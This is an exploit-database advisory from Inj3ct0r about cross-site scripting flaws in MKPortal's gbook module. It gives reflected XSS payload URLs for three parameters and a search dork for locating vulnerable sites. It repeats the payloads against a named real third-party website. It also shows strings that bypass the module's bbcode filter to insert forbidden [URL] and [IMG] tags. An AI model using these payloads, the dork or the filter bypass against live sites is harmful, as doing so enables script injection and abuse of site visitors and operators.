MKPortal Gbook Cross Site Scripting

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==========================================  
MKPortal <= gbook module XSS Vulnerability  
==========================================  
  
  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0   
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 0  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1  
  
#[+] Discovered By : Inj3ct0r  
#[+] Site : Inj3ct0r.com  
#[+] support e-mail : submit[at]inj3ct0r.com  
  
##################################################  
Vulnerable products: MKPortal module gbook Exploit  
Dork: "inurl:index.php?Ind=gbook"  
##################################################  
  
  
---------------------------------------------------------------------  
  
1. Multiple pXSS  
Vulnerability in the file index.php.  
  
Exploit:  
  
  
/index.php?ind=gbook&content=%3Cscript%3Ealert(1)%3C/script%3E  
/index.php?ind=gbook&blocks=%3Cscript%3Ealert(1)%3C/script%3E  
/index.php?ind=gbook&message=%3Cscript%3Ealert(1)%3C/script%3E  
  
  
Example:  
  
http://otradnoe.ru.net//index.php?ind=gbook&content=%3Cscript%3Ealert(1)%3C/script%3E  
http://otradnoe.ru.net//index.php?ind=gbook&blocks=%3Cscript%3Ealert(1)%3C/script%3E  
http://otradnoe.ru.net//index.php?ind=gbook&message=%3Cscript%3Ealert(1)%3C/script%3E  
  
---------------------------------------------------------------------  
  
  
2. Insert prohibited bb-tags [img] and [url] in the message  
  
Vulnerability in the file index.php.  
A vulnerable piece of code:  
  
$message = stripslashes($message);   
$message = preg_replace('/\[URL=(.+?)\](.+)\[\/URL\]/i',$no_url,$message);   
$message = preg_replace('/\[IMG\](.+?)\[\/IMG\]/i',$no_img,$message);   
$message = str_replace("ttp","", $message);   
  
get around restrictions:  
  
[UttpRL=htttptp://inj3ct0r.com]inj3ct0r.com[/URL]  
[IMttpG]htttptps://inj3ct0r.org/image.php?i=1&dateline=[/IMG]  
  
  
# Inj3ct0r.com [2010-04-04]  
  
  
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